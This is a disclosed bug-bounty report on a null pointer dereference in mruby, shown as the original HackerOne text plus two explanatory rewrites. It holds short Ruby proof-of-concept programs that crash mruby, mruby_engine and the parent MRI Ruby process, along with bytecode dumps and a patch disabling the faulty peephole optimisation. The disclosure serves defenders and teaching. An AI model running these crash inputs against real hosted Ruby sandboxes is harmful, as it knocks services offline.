Skip to content
DoS Disclosed report Advanced

Segfault in mruby, mruby_engine and the parent MRI Ruby due to null pointer dereference

A peephole optimisation in mruby's code generator incorrectly removes a MOVE instruction, causing a method call to receive a non-closure lambda as its block. This leads to a null pointer dereference and segmentation fault in mruby, mruby_engine, and the parent MRI Ruby process.

dkasak Follow

Originally disclosed on HackerOne

Bounty$10,000 High 8.6 View original
  • Triaged in 2 days
  • Fixed in 6 days
  • Paid in 34 days
  • Disclosed after 34 days

Introduction

Certain valid Ruby programs are able to cause a segmentation fault in mruby through a null pointer derefence, which in turn leads to a crash in mruby_engine and the parent MRI Ruby process.

Proof of concept

crash.rb:

def method
    yield
end

method(&a &&= 0)
  1. Save the above code as crash.rb
  2. Run either: a) mruby crash.rb b) sandbox crash.rb
  3. Both cause a segmentation fault.

Discussion

Everything below assumes the latest master of the mruby repository as of Nov 12th, which is commit 88604e39ac9c25ffdad2e3f03be26516fe866038.

The null pointer dereference itself for the above POC happens in ext/mruby_engine/mruby/src/vm.c, line 1266:

    regs[0] = m->env->stack[0];

The env member of is a null pointer since m refers to a RProc * of a non-closure lambda.

The underlying cause of the bug is an unsafe peephole optimization during code generation which isn't a valid transformation in certain contexts. Let's examine the debug information generated by running mruby -v crash.rb:

00001 NODE_SCOPE:
00005   local variables:
00005     a
00001   NODE_BEGIN:
00001     NODE_DEF:
00003       method
00002       NODE_BEGIN:
00002         NODE_YIELD:
00005     NODE_CALL:
00005       NODE_SELF
00005       method='method' (665)
00005       args:
00005       block:
00005         NODE_BLOCK_ARG:
00005           NODE_OP_ASGN:
00005             lhs:
00005               NODE_LVAR a
00005             op='&&' (666)
00005             NODE_INT 0 base 10
irep 0x10d5920 nregs=4 nlocals=2 pools=0 syms=1 reps=1
file: crash.rb
    1 000 OP_TCLASS R2
    1 001 OP_LAMBDA R3      I(+1)   1
    1 002 OP_METHOD R2      :method
    5 003 OP_LOADSELF       R2
    5 004 OP_JMPNOT R1      007
    5 005 OP_LOADI  R3      0
    5 006 OP_MOVE   R1      R3              ; R1:a
    5 007 OP_SENDB  R2      :method 0
    5 008 OP_STOP

irep 0x10db740 nregs=3 nlocals=2 pools=0 syms=1 reps=0
file: crash.rb
    1 000 OP_ENTER  0:0:0:0:0:0:0
    2 001 OP_BLKPUSH        R2      0:0:0:0
    2 002 OP_SEND   R2      :call   0
    2 003 OP_RETURN R2      return

From the above, it can be seen that R3 is set to a lambda representing the method method but then never re-set again in the true branch of the JMPNOT. Furthermore, the condition of JMPNOT will always be true in this particular case since a was never defined so the use of the &&= assignment operator causes it to be set to nil.

Since a method called through SENDB A B C expects the passed block to be located in the register A+C+1, which is R3 in the caller's context, it is obvious the method will instead receive the lambda representing method instead. Since lambdas are represented as (RProc *), just as blocks are, this won't cause a type error. However, this particular lambda is not a closure so its (RProc *) doesn't contain an env member and it is a null pointer.

Note that the problem isn't limited to methods with blocks, as can be seen from this slightly modified example which also causes a segfault:

modified_crash.rb:

def method(x)
    x.call
end

method(a &&= 0)

We then investigated further to check why the code generator was producing faulty bytecode, only to find that it in fact emits a correct MOVE R3 R1 instruction immediately after the LOADSELF. However, since it is then followed by an appropriately "shaped" JMPNOT, it triggers the following peephole reduction rule which elides the MOVE:

MOVE   R3   R1
JMPNOT R3    0
--------------
JMPNOT R1    0

The rule in question is located in ext/mruby_engine/mruby/mrbgems/mruby-compiler/core/codegen.c, line 350. In another related example where the operation a &&= 0 is done outside the argument list, the bytecode is almost exactly the same, just shuffled around. However, this shuffling prevents the MOVE and JMPNOT in being adjacent, which prevents the peephole rule from triggering and results in an ordinary mruby exception:

non_crash.rb:

def method
    yield
end

a &&= 0

method(&a)

This yields the following AST and bytecode:

00001 NODE_SCOPE:
00005   local variables:
00005     a
00001   NODE_BEGIN:
00001     NODE_DEF:
00003       method
00002       NODE_BEGIN:
00002         NODE_YIELD:
00005     NODE_OP_ASGN:
00005       lhs:
00005         NODE_LVAR a
00005       op='&&' (666)
00005       NODE_INT 0 base 10
00007     NODE_CALL:
00007       NODE_SELF
00007       method='method' (665)
00007       args:
00007       block:
00007         NODE_BLOCK_ARG:
00007           NODE_LVAR a
irep 0x2468920 nregs=4 nlocals=2 pools=0 syms=1 reps=1
file: a-new-kind-of-crash.7
    1 000 OP_TCLASS R2
    1 001 OP_LAMBDA R3      I(+1)   1
    1 002 OP_METHOD R2      :method
    5 003 OP_JMPNOT R1      005
    5 004 OP_LOADI  R1      0               ; R1:a
    7 005 OP_LOADSELF       R2
    7 006 OP_MOVE   R3      R1              ; R1:a   <<<the MOVE isn't elided>>>
    7 007 OP_SENDB  R2      :method 0
    7 008 OP_STOP

irep 0x246e740 nregs=3 nlocals=2 pools=0 syms=1 reps=0
file: a-new-kind-of-crash.7
    1 000 OP_ENTER  0:0:0:0:0:0:0
    2 001 OP_BLKPUSH        R2      0:0:0:0
    2 002 OP_SEND   R2      :call   0
    2 003 OP_RETURN R2      return

trace:
        [1] a-new-kind-of-crash.7:2:in Object.method
        [0] a-new-kind-of-crash.7:7
LocalJumpError: unexpected yield

Solution

We investigated several possible solutions, but ultimately the peephole optimization in question seems very precarious. As best as we could tell, the triggering factor seems to be an AST with a NODE_OP_ASGN nested inside a NODE_CALL (not necessarily as an immediate child). Since most of the work is done in the function codegen which is called recursively, there is no simple way to detect this special case without examining the AST. Therefore, presumably a flag should be set when the code generator enters a NODE_CALL so the peepholer knows not to make this optimization if inside it.

Since with our limited knowledge of the codebase it's not obvious that this is the right solution, we decided to simply disable the optimization for now since it is relatively low impact. We supply the following patch:

diff --git a/mrbgems/mruby-compiler/core/codegen.c b/mrbgems/mruby-compiler/core/codegen.c
index 9b064b8..6539ed4 100644
--- a/mrbgems/mruby-compiler/core/codegen.c
+++ b/mrbgems/mruby-compiler/core/codegen.c
@@ -346,13 +346,6 @@ genop_peep(codegen_scope *s, mrb_code i, int val)
        }
    }
    break;
-    case OP_JMPIF:
-    case OP_JMPNOT:
-      if (c0 == OP_MOVE && GETARG_A(i) == GETARG_A(i0)) {
-        s->iseq[s->pc-1] = MKOP_AsBx(c1, GETARG_B(i0), GETARG_sBx(i));
-        return s->pc-1;
-      }
-      break;
    default:
    break;
    }

With the optimization disabled, the segfault no longer happens and the code passes all tests. If the mruby developers insist that this optimization should remain, we are willing to work with them to develop a fix.

-- Denis Kasak Damir Jelić

The original report as published on HackerOne, by dkasak. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

mruby is an embeddable implementation of Ruby, and mruby_engine is the component that hosts it inside a larger application. In this report the parent process is MRI Ruby, the standard Ruby interpreter, which runs mruby_engine and therefore mruby itself. The bug is in mruby's compiler and virtual machine: certain valid Ruby programs cause a segmentation fault through a null pointer dereference. Because mruby runs inside mruby_engine, which runs inside MRI Ruby, the crash propagates up and takes down the parent MRI Ruby process as well.

The report was filed against the shopify-scripts program, rated high severity with a CVSS score of 8.6, classified as Uncontrolled Resource Consumption, and paid a bounty of 10,000 USD. It was disclosed on 16 December 2016.

Setup

The only tooling needed is an mruby build and the sandbox wrapper. The researcher's analysis assumes the latest master of the mruby repository as of 12 November, commit [redacted]. Two ways of running the proof of concept are given: the mruby binary directly, and the sandbox binary that wraps mruby_engine. No accounts, roles or special configuration are involved.

Finding it

The researcher found that a short, valid Ruby program crashes the interpreter. The interesting part is not that a crash is possible, but where it happens: the program is syntactically valid, uses ordinary language features (a method definition, yield, a block argument, and the &&= operator), and still produces a null pointer dereference in the VM rather than a normal Ruby exception.

Exploitation

Step 1: write the crashing program

Save the following as crash.rb:

Ruby
def method
    yield
end

method(&a &&= 0)

The program defines a method that yields to its block, then calls it with a block argument built from the expression a &&= 0. The variable a is never defined beforehand.

Step 2: run it under mruby or the sandbox

Run either of the following:

Bash
mruby crash.rb
Bash
sandbox crash.rb

Both cause a segmentation fault. The crash is not confined to mruby: it also brings down mruby_engine and the parent MRI Ruby process.

Step 3: locate the dereference

For this proof of concept the null pointer dereference happens in ext/mruby_engine/mruby/src/vm.c, line 1266:

C
regs[0] = m->env->stack[0];

The env member is a null pointer because m refers to a RProc * of a non-closure lambda. In other words, the VM is treating a lambda that has no environment as though it were a block that does.

Step 4: inspect the generated bytecode

Running mruby -v crash.rb prints the AST and the bytecode. The relevant output is:

Text
00001 NODE_SCOPE:
00005   local variables:
00005     a
00001   NODE_BEGIN:
00001     NODE_DEF:
00003       method
00002       NODE_BEGIN:
00002         NODE_YIELD:
00005     NODE_CALL:
00005       NODE_SELF
00005       method='method' (665)
00005       args:
00005       block:
00005         NODE_BLOCK_ARG:
00005           NODE_OP_ASGN:
00005             lhs:
00005               NODE_LVAR a
00005             op='&&' (666)
00005             NODE_INT 0 base 10
irep 0x10d5920 nregs=4 nlocals=2 pools=0 syms=1 reps=1
file: crash.rb
    1 000 OP_TCLASS R2
    1 001 OP_LAMBDA R3      I(+1)   1
    1 002 OP_METHOD R2      :method
    5 003 OP_LOADSELF       R2
    5 004 OP_JMPNOT R1      007
    5 005 OP_LOADI  R3      0
    5 006 OP_MOVE   R1      R3              ; R1:a
    5 007 OP_SENDB  R2      :method 0
    5 008 OP_STOP

irep 0x10db740 nregs=3 nlocals=2 pools=0 syms=1 reps=0
file: crash.rb
    1 000 OP_ENTER  [redacted]
    2 001 OP_BLKPUSH        R2      [redacted]
    2 002 OP_SEND   R2      :call   0
    2 003 OP_RETURN R2      return

Reading the caller's bytecode: R3 is set to a lambda representing the method method at instruction 001, but it is never re-set again in the true branch of the JMPNOT at 004. The condition of that JMPNOT will always be true in this particular case, because a was never defined, so the &&= assignment operator causes it to be set to nil.

A method called through SENDB A B C expects the passed block to be located in register A+C+1, which is R3 in the caller's context. The method therefore receives the lambda representing method instead of a block. Since lambdas are represented as (RProc *), just as blocks are, this does not cause a type error. But this particular lambda is not a closure, so its (RProc *) does not contain an env member, and that member is a null pointer.

Step 5: confirm it is not limited to blocks

The problem is not limited to methods with blocks. A slightly modified example also causes a segfault. Save as modified_crash.rb:

Ruby
def method(x)
    x.call
end

method(a &&= 0)

Here the argument expression itself is the &&= assignment, and the method calls x.call on whatever it receives.

Step 6: find why the code generator emits faulty bytecode

Investigating further, the researcher found that the code generator in fact emits a correct MOVE R3 R1 instruction immediately after the LOADSELF. However, it is then followed by an appropriately shaped JMPNOT, which triggers a peephole reduction rule that elides the MOVE:

Text
MOVE   R3   R1
JMPNOT R3    0
--------------
JMPNOT R1    0

The rule is located in ext/mruby_engine/mruby/mrbgems/mruby-compiler/core/codegen.c, line 350.

Step 7: compare with a non-crashing arrangement

In a related example where a &&= 0 is done outside the argument list, the bytecode is almost exactly the same, just shuffled around. That shuffling prevents the MOVE and JMPNOT from being adjacent, so the peephole rule does not trigger and an ordinary mruby exception results. Save as non_crash.rb:

Ruby
def method
    yield
end

a &&= 0

method(&a)

This yields the following AST and bytecode:

Text
00001 NODE_SCOPE:
00005   local variables:
00005     a
00001   NODE_BEGIN:
00001     NODE_DEF:
00003       method
00002       NODE_BEGIN:
00002         NODE_YIELD:
00005     NODE_OP_ASGN:
00005       lhs:
00005         NODE_LVAR a
00005       op='&&' (666)
00005       NODE_INT 0 base 10
00007     NODE_CALL:
00007       NODE_SELF
00007       method='method' (665)
00007       args:
00007       block:
00007         NODE_BLOCK_ARG:
00007           NODE_LVAR a
irep 0x2468920 nregs=4 nlocals=2 pools=0 syms=1 reps=1
file: a-new-kind-of-crash.7
    1 000 OP_TCLASS R2
    1 001 OP_LAMBDA R3      I(+1)   1
    1 002 OP_METHOD R2      :method
    5 003 OP_JMPNOT R1      005
    5 004 OP_LOADI  R1      0               ; R1:a
    7 005 OP_LOADSELF       R2
    7 006 OP_MOVE   R3      R1              ; R1:a   <<<the MOVE isn't elided>>>
    7 007 OP_SENDB  R2      :method 0
    7 008 OP_STOP

irep 0x246e740 nregs=3 nlocals=2 pools=0 syms=1 reps=0
file: a-new-kind-of-crash.7
    1 000 OP_ENTER  [redacted]
    2 001 OP_BLKPUSH        R2      [redacted]
    2 002 OP_SEND   R2      :call   0
    2 003 OP_RETURN R2      return

trace:
        [1] a-new-kind-of-crash.7:2:in Object.method
        [0] a-new-kind-of-crash.7:7
LocalJumpError: unexpected yield

Because the MOVE survives, the block argument is passed correctly and the program fails with LocalJumpError: unexpected yield, a normal Ruby exception rather than a crash.

Root cause

The underlying cause is an unsafe peephole optimisation during code generation that is not a valid transformation in certain contexts. The optimisation rewrites a MOVE followed by a conditional jump on the moved register into a conditional jump on the source register. When the moved value is a lambda and the jump is inside an argument list, the elision leaves the block slot pointing at the lambda instead of the intended block, and the VM later dereferences the lambda's absent environment.

The researcher's diagnosis of the triggering factor is an AST with a NODE_OP_ASGN nested inside a NODE_CALL, not necessarily as an immediate child. Because most of the work is done in the codegen function, which is called recursively, there is no simple way to detect this special case without examining the AST.

Impact

Any valid Ruby program of this shape crashes mruby, mruby_engine and the parent MRI Ruby process. The crash takes down mruby, mruby_engine and the parent MRI Ruby process. The report demonstrates the crash with two short programs and does not describe any further consequence beyond the segmentation fault and process crash.

Fix

The researcher considered several possible solutions but concluded that the peephole optimisation in question seems very precarious. The suggested approach is to set a flag when the code generator enters a NODE_CALL, so the peepholer knows not to make this optimisation while inside one. Since it was not obvious with the researcher's limited knowledge of the codebase that this is the right solution, the report instead supplies a patch that simply disables the optimisation, described as relatively low impact:

Diff
diff --git a/mrbgems/mruby-compiler/core/codegen.c b/mrbgems/mruby-compiler/core/codegen.c
index 9b064b8..6539ed4 100644
--- a/mrbgems/mruby-compiler/core/codegen.c
+++ b/mrbgems/mruby-compiler/core/codegen.c
@@ -346,13 +346,6 @@ genop_peep(codegen_scope *s, mrb_code i, int val)
         }
     }
     break;
-    case OP_JMPIF:
-    case OP_JMPNOT:
-      if (c0 == OP_MOVE && GETARG_A(i) == GETARG_A(i0)) {
-        s->iseq[s->pc-1] = MKOP_AsBx(c1, GETARG_B(i0), GETARG_sBx(i));
-        return s->pc-1;
-      }
-      break;
     default:
     break;
     }

With the optimisation disabled, the segfault no longer happens and the code passes all tests. The researcher offered to work with the mruby developers on a fix if they insist the optimisation should remain.

Variants to test

  1. Move the &&= expression out of the argument list, as in non_crash.rb. A positive result is a normal LocalJumpError rather than a crash, which confirms the adjacency of MOVE and JMPNOT is what matters.
  2. Use a method that takes an explicit argument and calls it, as in modified_crash.rb. A positive result is a segfault without any yield in the method body.

Hunting notes

This kind of bug hides in compiler peephole optimisers and in code generators that rewrite instruction sequences based on local patterns. The signal during recon is a language runtime that accepts untrusted programs and embeds another interpreter, where a crash in the inner VM propagates to the host process.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

A short, perfectly legal Ruby program can crash the Ruby interpreter called mruby. Not with an error message, but with a hard crash of the whole program. Because mruby is used inside a bigger piece of software (mruby_engine), and that in turn runs inside the normal Ruby interpreter (MRI Ruby), the crash travels upwards and takes down the outer process too.

The cause is not a mistake in the Ruby program. It is a mistake in the part of mruby that translates your program into the low-level instructions the computer actually runs. That translator has a shortcut, a small trick that makes the instructions shorter and faster. The trick is only safe in some situations, and here it is applied in a situation where it is wrong. The result is that the interpreter later reads from an empty place in memory and crashes.

The report was filed against the shopify-scripts program, rated high severity with a CVSS score of 8.6, classified as Uncontrolled Resource Consumption, and paid a bounty of 10,000 USD. It was disclosed on 16 December 2016.

Some background before we start

To follow this, you only need to know a handful of ideas. Each one is explained here the first time it matters, and collected again in the glossary at the end.

Ruby is a programming language. You write a text file with instructions in it, and a program called an interpreter reads that file and carries out the instructions.

mruby is a small, lightweight version of Ruby designed to be built into other software. Think of it as a Ruby engine that other programs can carry around with them, the way a car can carry a small generator in its boot.

mruby_engine is the component that hosts mruby inside a larger application. It is the adapter between the outer program and the mruby engine.

MRI Ruby (Matz's Ruby Interpreter) is the standard, full-size Ruby interpreter. In this setup it is the parent process: it runs mruby_engine, which runs mruby. So we have three layers, one inside the other, like Russian dolls.

A process is a running program on a computer. Each process has its own memory. If one process crashes, the others normally keep running, but if a program is nested inside another, a crash in the inner one can bring down the outer one too.

A segmentation fault (often shortened to segfault) is what happens when a program tries to read or write memory it is not allowed to touch, or memory that does not exist. The operating system stops the program immediately. There is no error message from Ruby, no chance to catch the problem: the process simply dies.

A null pointer dereference is a specific kind of segfault. A pointer is a value that says "the data you want is over there, at this address". A null pointer is a pointer that says "nowhere". If a program follows a null pointer and tries to read what is at the other end, there is nothing there, and it crashes. The everyday comparison: a delivery note that says "see the address on the back of this note", where the back of the note is blank. The courier has nowhere to go.

A compiler is the part of a language implementation that turns your readable program into simpler instructions. In mruby this intermediate form is called bytecode: a list of small numbered operations, each with a name like MOVE or JMPNOT, that a virtual machine executes one after another.

A virtual machine (VM) is the part that reads bytecode and performs each operation. It is called virtual because it is a pretend computer implemented in software.

A register, in this context, is a numbered slot in the VM where a value is temporarily kept. The bytecode refers to them as R1, R2, R3 and so on. Think of them as numbered pigeonholes on a desk.

A peephole optimisation is a compiler trick that looks at a very small window of instructions (through a "peephole") and replaces a pattern with a shorter, equivalent pattern. For example, if one instruction copies a value into a slot and the very next instruction tests that slot, the compiler may decide it can test the original slot directly and drop the copy. This is fine only if the original slot still holds the same value at that moment. If it does not, the shortcut changes what the program does.

A lambda is a small anonymous function, a piece of code you can pass around like a value. In mruby, lambdas and blocks are both represented internally by the same kind of object, a RProc * (a pointer to a procedure). A block is a chunk of code attached to a method call, the thing that yield runs. A closure is a function that remembers the variables from the place where it was created; it carries an environment (its env) with those remembered values. A lambda that is not a closure has no such environment, so its env member is a null pointer.

An AST (abstract syntax tree) is the compiler's internal picture of your program: a tree of nodes, each representing a piece of syntax. NODE_CALL means a method call, NODE_OP_ASGN means an assignment with an operator such as &&=, NODE_LVAR means a local variable, and so on.

yield is a Ruby keyword that runs the block that was passed to the current method.

&&= is Ruby's conditional assignment operator. a &&= 0 means: if a is already truthy, leave it alone; otherwise set it to 0. If a was never defined, it is treated as nil (Ruby's "nothing" value), which is not truthy, so a becomes 0.

A register-based calling convention is simply an agreed rule about where arguments and blocks are placed when one piece of code calls another. In mruby, a method called with the SENDB instruction expects its block in a particular register, calculated from the instruction's own arguments.

Setup

The only tooling needed is an mruby build and the sandbox wrapper. The analysis assumes the latest master of the mruby repository as of 12 November, commit [redacted]. Two ways of running the proof of concept are given: the mruby binary directly, and the sandbox binary that wraps mruby_engine. No accounts, roles or special configuration are involved.

Finding it

The researcher found that a short, valid Ruby program crashes the interpreter. The interesting part is not that a crash is possible, but where it happens: the program is syntactically valid, uses ordinary language features (a method definition, yield, a block argument, and the &&= operator), and still produces a null pointer dereference in the VM rather than a normal Ruby exception.

Exploitation

Step 1: write the crashing program

Save the following as crash.rb:

Ruby
def method
    yield
end

method(&a &&= 0)

Line by line:

  1. def method starts the definition of a method called method. A method is a named piece of code you can call later.
  2. yield runs whatever block was handed to the method when it was called. The method itself does not contain the code to run; it relies on the caller supplying it.
  3. end closes the method definition.
  4. method(&a &&= 0) calls the method. The & before a means "take the value of a and pass it as a block". The expression a &&= 0 is the conditional assignment described above. The variable a is never defined beforehand, so it starts as nil.

Why this shape? Because it puts a conditional assignment exactly where a block argument is expected. That is the unusual combination that later confuses the compiler's shortcut.

Step 2: run it under mruby or the sandbox

Run either of the following:

Bash
mruby crash.rb
Bash
sandbox crash.rb

mruby crash.rb runs the file with the standalone mruby interpreter. sandbox crash.rb runs it through the sandbox wrapper, which hosts mruby inside mruby_engine. Running both is a way of showing that the problem is not an artefact of one particular way of starting the interpreter.

Both cause a segmentation fault. The crash is not confined to mruby: it also brings down mruby_engine and the parent MRI Ruby process. That is the impact: a small, valid script can kill the whole stack of nested interpreters.

Step 3: locate the dereference

For this proof of concept the null pointer dereference happens in ext/mruby_engine/mruby/src/vm.c, line 1266:

C
regs[0] = m->env->stack[0];

This is one line of C, the language mruby is written in. Reading it from the inside out: m is a pointer to a procedure object. m->env means "the environment member of that object". m->env->stack[0] means "the first slot of that environment's stack". The line copies that value into regs[0], the first register of the VM.

The env member is a null pointer because m refers to a RProc * of a non-closure lambda. In other words, the VM is treating a lambda that has no environment as though it were a block that does. The moment it tries to reach into that non-existent environment, the program dies.

Step 4: inspect the generated bytecode

Running mruby -v crash.rb prints the AST and the bytecode. The relevant output is:

Text
00001 NODE_SCOPE:
00005   local variables:
00005     a
00001   NODE_BEGIN:
00001     NODE_DEF:
00003       method
00002       NODE_BEGIN:
00002         NODE_YIELD:
00005     NODE_CALL:
00005       NODE_SELF
00005       method='method' (665)
00005       args:
00005       block:
00005         NODE_BLOCK_ARG:
00005           NODE_OP_ASGN:
00005             lhs:
00005               NODE_LVAR a
00005             op='&&' (666)
00005             NODE_INT 0 base 10
irep 0x10d5920 nregs=4 nlocals=2 pools=0 syms=1 reps=1
file: crash.rb
    1 000 OP_TCLASS R2
    1 001 OP_LAMBDA R3      I(+1)   1
    1 002 OP_METHOD R2      :method
    5 003 OP_LOADSELF       R2
    5 004 OP_JMPNOT R1      007
    5 005 OP_LOADI  R3      0
    5 006 OP_MOVE   R1      R3              ; R1:a
    5 007 OP_SENDB  R2      :method 0
    5 008 OP_STOP

irep 0x10db740 nregs=3 nlocals=2 pools=0 syms=1 reps=0
file: crash.rb
    1 000 OP_ENTER  [redacted]
    2 001 OP_BLKPUSH        R2      [redacted]
    2 002 OP_SEND   R2      :call   0
    2 003 OP_RETURN R2      return

The first half is the AST, the compiler's picture of the program. You can read it as an indented outline: the whole file is a scope, it has one local variable a, it defines the method, and then it makes a call to method whose block is a block argument containing a conditional assignment of 0 to a.

The second half is the bytecode, split into two irep sections (one per method: the top-level code and the body of method). Each line is one instruction, with a number, an operation name, and the registers it works on. The comments after the semicolon are annotations added by the disassembler.

Reading the caller's bytecode: R3 is set to a lambda representing the method method at instruction 001, but it is never re-set again in the true branch of the JMPNOT at 004. The condition of that JMPNOT will always be true in this particular case, because a was never defined, so the &&= assignment operator causes it to be set to nil.

A method called through SENDB A B C expects the passed block to be located in register A+C+1, which is R3 in the caller's context. The method therefore receives the lambda representing method instead of a block. Since lambdas are represented as (RProc *), just as blocks are, this does not cause a type error. But this particular lambda is not a closure, so its (RProc *) does not contain an env member, and that member is a null pointer.

In plain words: the calling convention says "the block is in pigeonhole 3". Pigeonhole 3 still contains the lambda for the method itself, because the instruction that should have overwritten it was skipped. The method happily accepts it, because a lambda and a block look the same to the type system, and then reaches for an environment that this lambda never had.

Step 5: confirm it is not limited to blocks

The problem is not limited to methods with blocks. A slightly modified example also causes a segfault. Save as modified_crash.rb:

Ruby
def method(x)
    x.call
end

method(a &&= 0)

Here the method takes one ordinary argument, x, and calls x.call on whatever it receives. There is no yield and no & block argument at all. The argument expression itself is the &&= assignment. If this also crashes, the bug is not about blocks specifically; it is about the conditional assignment appearing in an argument position.

Step 6: find why the code generator emits faulty bytecode

Investigating further, the researcher found that the code generator in fact emits a correct MOVE R3 R1 instruction immediately after the LOADSELF. In other words, the compiler's first draft of the bytecode is right: it copies the value into the right pigeonhole. However, it is then followed by an appropriately shaped JMPNOT, which triggers a peephole reduction rule that elides the MOVE:

Text
MOVE   R3   R1
JMPNOT R3    0
--------------
JMPNOT R1    0

This is a before-and-after picture. Above the dashed line is the original pair of instructions: copy R1 into R3, then jump if R3 is false. Below the line is the replacement: jump if R1 is false, and drop the copy. Here, dropping the copy means R3 keeps its old contents, the lambda, and that is what gets passed as the block.

The rule is located in ext/mruby_engine/mruby/mrbgems/mruby-compiler/core/codegen.c, line 350.

Step 7: compare with a non-crashing arrangement

In a related example where a &&= 0 is done outside the argument list, the bytecode is almost exactly the same, just shuffled around. That shuffling prevents the MOVE and JMPNOT from being adjacent, so the peephole rule does not trigger and an ordinary mruby exception results. Save as non_crash.rb:

Ruby
def method
    yield
end

a &&= 0

method(&a)

Here the conditional assignment happens on its own line, before the call, and the call simply passes &a. The same ingredients are present, but in a different order. This yields the following AST and bytecode:

Text
00001 NODE_SCOPE:
00005   local variables:
00005     a
00001   NODE_BEGIN:
00001     NODE_DEF:
00003       method
00002       NODE_BEGIN:
00002         NODE_YIELD:
00005     NODE_OP_ASGN:
00005       lhs:
00005         NODE_LVAR a
00005       op='&&' (666)
00005       NODE_INT 0 base 10
00007     NODE_CALL:
00007       NODE_SELF
00007       method='method' (665)
00007       args:
00007       block:
00007         NODE_BLOCK_ARG:
00007           NODE_LVAR a
irep 0x2468920 nregs=4 nlocals=2 pools=0 syms=1 reps=1
file: a-new-kind-of-crash.7
    1 000 OP_TCLASS R2
    1 001 OP_LAMBDA R3      I(+1)   1
    1 002 OP_METHOD R2      :method
    5 003 OP_JMPNOT R1      005
    5 004 OP_LOADI  R1      0               ; R1:a
    7 005 OP_LOADSELF       R2
    7 006 OP_MOVE   R3      R1              ; R1:a   <<<the MOVE isn't elided>>>
    7 007 OP_SENDB  R2      :method 0
    7 008 OP_STOP

irep 0x246e740 nregs=3 nlocals=2 pools=0 syms=1 reps=0
file: a-new-kind-of-crash.7
    1 000 OP_ENTER  [redacted]
    2 001 OP_BLKPUSH        R2      [redacted]
    2 002 OP_SEND   R2      :call   0
    2 003 OP_RETURN R2      return

trace:
        [1] a-new-kind-of-crash.7:2:in Object.method
        [0] a-new-kind-of-crash.7:7
LocalJumpError: unexpected yield

Compare the two bytecode listings. In the crashing version, the JMPNOT came immediately after the LOADSELF, and the MOVE was swallowed. Here the JMPNOT is at instruction 003, the assignment happens at 004, and only then, at 005 and 006, do the LOADSELF and the MOVE appear. The MOVE is no longer next to a JMPNOT, so the peephole rule has nothing to match, and the copy survives. The disassembler even marks it: <<<the MOVE isn't elided>>>.

Because the MOVE survives, the block argument is passed correctly and the program fails with LocalJumpError: unexpected yield, a normal Ruby exception rather than a crash. LocalJumpError is Ruby's way of saying "you asked me to run a block, but there is no block here". The trace below it shows where: inside Object.method at line 2, called from line 7. That is a controlled, catchable error, which is what you want from a bad program.

Root cause

The underlying cause is an unsafe peephole optimisation during code generation that is not a valid transformation in certain contexts. The optimisation rewrites a MOVE followed by a conditional jump on the moved register into a conditional jump on the source register. That is only sound if the source register still holds the same value at the point of the jump. When the moved value is a lambda and the jump is inside an argument list, the elision leaves the block slot pointing at the lambda instead of the intended block, and the VM later dereferences the lambda's absent environment.

The researcher's diagnosis of the triggering factor is an AST with a NODE_OP_ASGN nested inside a NODE_CALL, not necessarily as an immediate child. Because most of the work is done in the codegen function, which is called recursively, there is no simple way to detect this special case without examining the AST.

Impact

Any valid Ruby program of this shape crashes mruby, mruby_engine and the parent MRI Ruby process. The crash takes down mruby, mruby_engine and the parent MRI Ruby process. The report demonstrates the crash with two short programs and does not describe any further consequence beyond the segmentation fault and process crash.

Fix

The researcher considered several possible solutions but concluded that the peephole optimisation in question seems very precarious. The suggested approach is to set a flag when the code generator enters a NODE_CALL, so the peepholer knows not to make this optimisation while inside one. Since it was not obvious with the researcher's limited knowledge of the codebase that this is the right solution, the report instead supplies a patch that simply disables the optimisation, described as relatively low impact:

Diff
diff --git a/mrbgems/mruby-compiler/core/codegen.c b/mrbgems/mruby-compiler/core/codegen.c
index 9b064b8..6539ed4 100644
--- a/mrbgems/mruby-compiler/core/codegen.c
+++ b/mrbgems/mruby-compiler/core/codegen.c
@@ -346,13 +346,6 @@ genop_peep(codegen_scope *s, mrb_code i, int val)
         }
     }
     break;
-    case OP_JMPIF:
-    case OP_JMPNOT:
-      if (c0 == OP_MOVE && GETARG_A(i) == GETARG_A(i0)) {
-        s->iseq[s->pc-1] = MKOP_AsBx(c1, GETARG_B(i0), GETARG_sBx(i));
-        return s->pc-1;
-      }
-      break;
     default:
     break;
     }

This is a patch in the format used by the git version control tool. Lines starting with - are removed; lines starting with + are added; lines with a space at the start are context, shown only so you can see where the change lands. Here nothing is added: the whole block handling OP_JMPIF and OP_JMPNOT is deleted. That block is the peephole rule itself: it checks whether the previous instruction was a MOVE and whether the jump tests the same register, and if so it rewrites the instruction sequence. Removing it means the shortcut is never taken, so the MOVE always survives and the block slot is always filled correctly.

With the optimisation disabled, the segfault no longer happens and the code passes all tests. The researcher offered to work with the mruby developers on a fix if they insist the optimisation should remain.

Variants to test

  1. Move the &&= expression out of the argument list, as in non_crash.rb. A positive result is a normal LocalJumpError rather than a crash, which confirms the adjacency of MOVE and JMPNOT is what matters.
  2. Use a method that takes an explicit argument and calls it, as in modified_crash.rb. A positive result is a segfault without any yield in the method body.

Hunting notes

This kind of bug hides in compiler peephole optimisers and in code generators that rewrite instruction sequences based on local patterns. The signal during recon is a language runtime that accepts untrusted programs and embeds another interpreter, where a crash in the inner VM propagates to the host process.

Glossary

  • Ruby: a programming language whose programs are run by an interpreter.
  • mruby: a small, embeddable implementation of Ruby, designed to be built into other software.
  • mruby_engine: the component that hosts mruby inside a larger application.
  • MRI Ruby: the standard, full-size Ruby interpreter; here it is the parent process that runs mruby_engine.
  • Process: a running program with its own memory; a crash in one can affect a program nested inside it.
  • Segmentation fault (segfault): an operating system stop when a program touches memory it may not touch or that does not exist.
  • Null pointer dereference: following a pointer that points nowhere and trying to read the data there, which crashes the program.
  • Pointer: a value that holds the memory address of some data.
  • Compiler: the part of a language implementation that turns a program into simpler instructions.
  • Bytecode: the list of small numbered operations a virtual machine executes.
  • Virtual machine (VM): the software component that reads and executes bytecode.
  • Register: a numbered temporary storage slot in the VM, referred to as R1, R2 and so on.
  • Peephole optimisation: a compiler shortcut that replaces a small pattern of instructions with a shorter equivalent, valid only in some contexts.
  • Lambda: a small anonymous function that can be passed around as a value.
  • Block: a chunk of code attached to a method call, run by yield.
  • Closure: a function that remembers variables from where it was created, carrying an environment.
  • Environment (env): the stored set of variables a closure remembers; absent for a non-closure lambda.
  • RProc *: the internal C pointer type used to represent both lambdas and blocks in mruby.
